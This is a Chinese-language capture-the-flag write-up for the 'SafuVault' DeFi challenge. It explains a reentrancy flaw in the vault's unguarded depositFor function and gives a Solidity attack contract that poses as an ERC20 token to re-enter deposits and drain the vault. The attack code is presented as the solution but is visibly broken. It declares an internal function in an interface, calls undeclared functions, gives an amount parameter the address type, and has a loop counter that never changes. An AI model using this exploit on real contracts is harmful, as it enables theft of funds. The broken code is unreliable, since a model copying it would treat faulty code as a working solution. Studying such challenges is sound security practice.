CTF-SafuVault

这个题的源代码这里

题目要求就是:获得不少于保险库的90%代币

还是先阅读代码,合约SafeVault,是一个安全的收益金库,用于用户存入代币,然后金库会调用策略合约 SafuVaultdeposit函数将存入的代币进行投资,用户通过withdraw函数提取它们的代币,其中还有个depositFor函数,允许其他用户为其他人存款,这个收益合约看起来还是功能挺齐全的。
而收益生成合约 SafuStrategy,就是来管理存入金库的资金,要想获得资金的话,还是的同通过金库合约,反复查看这个合约的,开始时并没有发现获得资金的方法,查看了提示:所有外部功能都得到妥善保护吗?又去看了金库合约的函数,发现depositdepositFor函数修饰限定不一样,具体看一下代码:

function deposit(uint256 _amount) public nonReentrant {
strategy.beforeDeposit();

uint256 _pool = balance();
want().safeTransferFrom(msg.sender, address(this), _amount);
earn();
uint256 _after = balance();
_amount = _after - _pool; // Additional check for deflationary tokens

uint256 shares;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount * totalSupply()) / (_pool);
}
_mint(msg.sender, shares);
}

function depositFor(
address token,
uint256 _amount,
address user
) public {
strategy.beforeDeposit();

uint256 _pool = balance();
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
earn();
uint256 _after = balance();
_amount = _after - _pool; // Additional check for deflationary tokens

uint256 shares;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount * totalSupply()) / (_pool);
}
_mint(user, shares);
}

deposit函数有防止重入的功能,而depositFor没有,这是就会联想到,会不会就是重入攻击,再比较这俩个合约,发现depositFor使用了token地址作为参数传入,这个给了很大的操作空间,如果在token地址上进行转账的transfer函数中夹带一个再次存款合约的话,就会进行一个重入攻击,反复存款,最后再withdrawall.就能获得大量的代币

具体的攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IValue {
    function depositFor(
        address token, 
        uint256 _amount, 
        address user
    ) internal;
    function withdrawAll() external ;   
 }

 contract Hack {
    IERC20 token;
    IValue value;
    uint256 loop = 10;

    constructor (address _token,address _value){
        token = IERC20(_token);
        value = IValue(_value);
    }

    function pwn() external{
        //计算重入几次,获得超过金库合约的90%代币
        uint256 amount = token.balanceOf(address(this));
        uint256 amount1 = amount /10;

        value.depositFor(address(this),amount1,address(this));
        value.withdraw();
        //此时的msg.sender是我们自己,因为是我们发起pwn
        token.transfer(msg.sender,token.balanceOf(address(this)));
    
    }

    function transferFrom(address from,address to,address amount1) external{
        if(loop<10){
           //此时的msg.sender是金库合约,因为是Value发起的存钱
            transfer(msg.sender,amount1);
            //执行重入,再次存款
            token.depositFor(address(this),amount1,address(this));
             
        }
    }
 }
简单来说,就是我们的攻击合约扮演一个ERC20代币合约,正是由于depoistFor函数将token地址作为参数,这样我们就能改变token地址里的transferFrom函数的内容,进行重入攻击,个人认为就是有一个跨合约的重入攻击,对于ERC20代币必须要有了解。


完成。